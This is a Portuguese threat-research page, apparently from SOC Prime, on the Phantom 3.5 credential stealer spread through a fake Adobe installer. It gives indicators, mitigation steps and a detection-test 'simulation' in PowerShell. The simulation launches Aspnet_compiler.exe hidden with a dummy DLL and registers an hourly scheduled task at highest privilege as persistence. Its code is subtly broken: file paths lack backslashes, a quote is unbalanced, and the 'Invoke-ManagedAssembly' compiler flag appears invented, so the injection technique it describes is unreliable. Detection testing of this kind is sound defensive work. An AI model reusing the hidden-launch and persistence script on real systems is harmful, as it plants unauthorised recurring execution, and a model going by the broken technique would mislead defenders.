SOC Prime Bias: Médio

18 Dec 2025 18:42 UTC

Phantom 3.5 – malware de roubo de credenciais entregue através de um instalador falso da Adobe

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Phantom 3.5 – malware de roubo de credenciais entregue através de um instalador falso da Adobe
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Phantom 3.5 é um malware de roubo de credenciais distribuído através de um instalador falso da Adobe. Uma vez executado, o instalador solta um script PowerShell que fornece um DLL .NET ofuscado (BLACKHAWK.dll) e injeta a carga final no Aspnet_compiler.exe para ser executado em um contexto de processo que parece confiável.

Investigação

Pesquisadores detonaram o instalador falso em um sandbox e capturaram a localização do downloader (positivepay-messages.com/file/floor.ps1). Eles decodificaram o script protegido por Base64/RC4, identificaram o DLL .NET recuperado e confirmaram a injeção no Aspnet_compiler.exe usando ferramentas como hollows_hunter e ProcDump. A análise indica que o DLL inclui medidas anti-análise, técnicas de Heaven’s Gate e múltiplos canais de exfiltração, incluindo SMTP, FTP, Telegram e Discord.

Mitigação

Restrinja ou bloqueie a execução de scripts PowerShell não assinados, impeça o carregamento de DLLs não confiáveis e monitore a criação anormal de processos Aspnet_compiler.exe. Aplique filtragem de URL para negar acesso ao domínio malicioso e seus caminhos. Garanta que controles de endpoint possam detectar padrões de injeção de processos e comportamentos comuns de roubo de credenciais.

Resposta

Dispare alertas sobre conexões de saída para positivepay-messages.com, artefatos de memória ou módulo relacionados ao BLACKHAWK.dll e evidências de injeção de código no Aspnet_compiler.exe. Quarentena o host afetado, adquira imagens de memória e realize triagem forense completa para erradicar o DLL malicioso e cargas associadas.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-vôo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:
    O adversário obteve a carga útil Phantom 3.5 e deseja executá-la na memória para evadir defesas baseadas em disco. Eles usam Aspnet_compiler.exe, um binário confiável do Windows, para carregar o assembly gerenciado malicioso via Invoke-ManagedAssembly argumento. Isso faz com que o processo do compilador seja iniciado, injete a carga útil no espaço do processo atual e persista criando uma tarefa agendada que executa repetidamente o mesmo comando.

    1. Prepare o assembly gerenciado malicioso (phantom_payload.dll) no host alvo.

    2. Execute a injeção usando Aspnet_compiler.exe:

       $maliciousDll = "C:Tempphantom_payload.dll"
       $cmd = "`"$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe`" -p `"$maliciousDll`" -c `Invoke-ManagedAssembly`"
       Start-Process -FilePath $cmd -WindowStyle Hidden
    3. Crie persistência (opcional) registrando uma tarefa agendada que reaplica o mesmo comando a cada hora.

  • Script de Teste de Regressão: O script abaixo reproduz as etapas acima de maneira autocontida e repetível.

    <#
    .SYNOPSIS
        Simula injeção de processo Phantom 3.5 usando Aspnet_compiler.exe.
    .DESCRIPTION
        Copia um DLL malicioso fictício para um local conhecido, em seguida, lança Aspnet_compiler.exe
        com a flag `Invoke-ManagedAssembly` para gerar o evento de criação de processo exato
        que a regra de detecção observa.
    #>
    
    # --- Preparation -----------------------------------------------------------
    $dllPath = "$env:TEMPphantom_payload.dll"
    # Crie um pequeno DLL fictício (substituto para a carga real)
    Set-Content -Path $dllPath -Value ([byte[]](0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00)) -Encoding Byte
    
    # --- Execution -------------------------------------------------------------
    $aspnetPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319Aspnet_compiler.exe"
    if (-Not (Test-Path $aspnetPath)) {
        Write-Error "Aspnet_compiler.exe não encontrado no local esperado."
        exit 1
    }
    
    $arguments = "-p `"$dllPath`" -c `Invoke-ManagedAssembly`"
    Write-Host "Iniciando Aspnet_compiler.exe com argumentos maliciosos..."
    Start-Process -FilePath $aspnetPath -ArgumentList $arguments -WindowStyle Hidden -PassThru
    
    # --- Optional Persistence ----------------------------------------------------
    # Registre uma tarefa agendada que repete a injeção a cada hora
    $taskName = "PhantomInject"
    $action = New-ScheduledTaskAction -Execute $aspnetPath -Argument $arguments
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([TimeSpan]::MaxValue)
    Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -RunLevel Highest -Force
    
    Write-Host "Simulação completa. Verifique o SIEM para o alerta gerado."
  • Comandos de Limpeza: Remova o DLL fictício, a tarefa agendada e quaisquer processos remanescentes.

    # Remova o DLL fictício
    Remove-Item -Path "$env:TEMPphantom_payload.dll" -Force -ErrorAction SilentlyContinue
    
    # Desregistre a tarefa agendada
    Unregister-ScheduledTask -TaskName "PhantomInject" -Confirm:$false -ErrorAction SilentlyContinue
    
    # Elimine quaisquer processos Aspnet_compiler.exe remanescentes iniciados pelo teste
    Get-Process -Name "Aspnet_compiler" -ErrorAction SilentlyContinue | Stop-Process -Force